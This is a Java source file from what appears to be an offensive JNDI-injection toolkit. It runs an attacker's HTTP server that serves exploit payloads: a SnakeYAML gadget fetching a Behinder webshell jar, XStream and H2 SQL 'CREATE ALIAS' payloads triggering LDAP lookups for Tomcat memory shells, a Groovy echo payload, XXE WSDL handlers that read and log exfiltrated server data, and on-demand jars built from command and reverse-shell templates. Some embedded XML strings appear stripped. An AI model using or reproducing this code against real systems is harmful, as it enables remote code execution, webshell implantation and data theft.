package com.qi4l.jndi;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Cache;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.DnslogTemplate;
import com.qi4l.jndi.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import static org.fusesource.jansi.Ansi.ansi;
public class HTTPServer {
//获取根目录路径
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) {
try {
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
String qi = String.valueOf(httpExchange.getRequestURI());
if (qi.contains("setPathAlias")) {
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
} else if (qi.contains("setRoute")) {
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
}
String path = httpExchange.getRequestURI().getPath();
if (path.endsWith(".class")) {
handleClassRequest(httpExchange);
} else if (path.endsWith(".wsdl")) {
handleWSDLRequest(httpExchange);
} else if (path.endsWith(".jar")) {
handleJarRequest(httpExchange);
} else if (path.startsWith("/xxelog")) {
handleXXELogRequest(httpExchange);
} else if (path.endsWith(".sql")) {
handleSQLRequest(httpExchange);
} else if (path.endsWith(".groovy")) {
handlerGroovyRequest(httpExchange);
} else if (path.endsWith(".xml")) {
handleXMLRequest(httpExchange);
} else if (path.endsWith(".txt")) {
handleTXTRequest(httpExchange);
} else if (path.endsWith(".yml")) {
handleYmlRequest(httpExchange);
} else {
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
}
private static void handleFileRequest(HttpExchange exchange) throws Exception {
System.out.println("[-] 请求的后缀不对");
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
if (YamlName.equalsIgnoreCase("snake")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = "success!".getBytes();
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "\n \n";
String xstream = "\n" +
" \n" +
" 0\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" false\n" +
" 0\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" 1008\n" +
" true\n" +
" 1000\n" +
" 0\n" +
" 2\n" +
" 0\n" +
" 0\n" +
" 0\n" +
" true\n" +
" 1004\n" +
" false\n" +
" ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" -1\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" com.sun.rowset.JdbcRowSetImpl\n" +
" getDatabaseMetaData\n" +
" \n" +
" \n" +
" foo\n" +
" \n" +
" foo\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" false\n" +
" 0\n" +
" 0\n" +
" false\n" +
" \n" +
" false\n" +
" \n" +
" \n" +
" \n" +
" 0\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
"";
if (xmlName.equals("a")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (xmlName.equals("x")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (sqlName.equalsIgnoreCase("echo")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (sqlName.equalsIgnoreCase("inject")) {
System.out.println("@|green Response Code: |@" + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (groovyName.equalsIgnoreCase("groovyecho")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String bytes = "class demo {\n" +
" static void main(){\n" +
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
" o.setAutoCommit(true);\n" +
" }\n" +
"}\n";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")) {
byte[] bytes;
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
File file = new File(filename);
if (file.exists()) {
byte[] bytes;
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
//这一步返回http请求
exchange.getResponseBody().write(bytes);
} else {//找不到就从/org目录下照
//String pa = cwd + File.separator + "org";
String pa = cwd + path;
File file = new File(pa);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200));
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if (path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"\n" +
" \n" +
" %bbb;\n" +
"]>\n" +
"\n" +
" &ddd;\n" +
"";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("http")) {
String xxhttp = "'>'>%ccc;";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map parseQuery(String query) {
Map params = new HashMap<>();
try {
for (String str : query.split("&")) {
try {
String[] parts = str.split("=", 2);
params.put(parts[0], parts[1]);
} catch (Exception e) {
//continue
}
}
} catch (Exception e) {
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes;
String className = "xExportObject";
switch (type.toLowerCase()) {
case "command":
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
break;
case "dnslog":
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
break;
case "reverseshell":
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
break;
case "webspherememshell":
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
break;
default:
return null;
}
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}